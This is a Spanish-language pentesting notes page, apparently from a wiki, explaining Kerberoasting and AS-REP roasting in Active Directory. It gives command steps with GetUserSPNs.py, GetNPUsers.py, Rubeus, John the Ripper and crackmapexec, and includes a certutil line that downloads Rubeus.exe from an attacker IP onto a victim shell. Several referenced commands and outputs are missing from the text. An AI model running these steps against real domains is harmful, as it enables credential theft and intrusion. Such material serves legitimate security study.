Kerberoasting & ASREP Roast

Kerberoasting

Este ataque trata de que a partir de un usuario sin privilegios, obtener las contraseñas vinculadas a una cuenta del Directorio Activo.

Con GetUserSPNs.py

Para ello él usuario en particular tiene que ser vulnerable a este ataque, para comprobarlo debemos hacer lo siguiente:

GetUserSPNs.py dc.local/allimos:Password

Si no es vulnerable aparecerá el siguiente mensaje -> No entries found!

Pero si lo es, debería aparecer algo como esto:

GetUserSPNs.py dc.local/j4ckie:Password
Vulnerable

Si es valida, podemos utilizar el parámetro -request y pedir un TGTs y sacar un hash.

hash

Este hash se puede crackear de forma offline con johntheripper, guardamos este hash en un archivo llamado hash y ejecutamos el siguiente comando:

Ahora si ejecutamos con crackmapexec a todos los equipos del sistema con esa credencial, debería aparecer Pwn3d!

Con Rubeus.exe

Nos descargamos Rubeus.exe arrow-up-right, lo subimos a la shell sin privilegios.

Ej: certutil -f -urlcache -split http://192.168.218.128:8080/Rubeus.exearrow-up-right Rubeus.exe

Una vez en el sistema victima ejecutamos el siguiente comando:

Nos debería aparecer lo mismo que arriba, el hash de svc_sqlservice

ASREPRoast Attack

Este ataque que explota la falta de que el usuario en cuestión tenga o no la pre autenticación de Kerberos, si cierto usuario no tiene esta pre autenticación entonces es vulnerable a ASREPRoast.

Para el que lo quiera saber, esta opción se ve reflejada en el usuario por parte del Dominio en Usuario > Propiedades > Cuenta

Si tiene esto activado, es vulnerable

Pero si queremos saberlo de manera externa, que es obvio que no tendremos acceso a esa información, lo haremos mediante la herramienta GetNPUsers.py.

Con GetNPUsers.py

Antes de eso necesitamos un listado de usuarios a los cuales probar si son vulnerables, esta información la sacaremos con rpcclient:

Este resultado lo metemos en un archivo llamado users.

Listado de usuarios

De acuerdo, una vez obtenido entonces empezamos comprobando si alguno de estos usuarios es vulnerable.

Lo más normal es que aparezca el error -> UF_DONT_REQUIRE_PREAUTH

Pero si no fuera así y lo fuera debería aparecer el AS-REP hash del usuario en cuestión:

Podemos crackear el hash de manera offline

Con Rubeus.exe

Nos descargamos Rubeus.exe arrow-up-right, lo subimos a la shell sin privilegios.

Entonces ejecutamos el siguiente comando para comprobarlo:

Y si uno de los usuarios es vulnerable debería aparecer el AS-REP hash:

Crackeamos el hash en offline

Last updated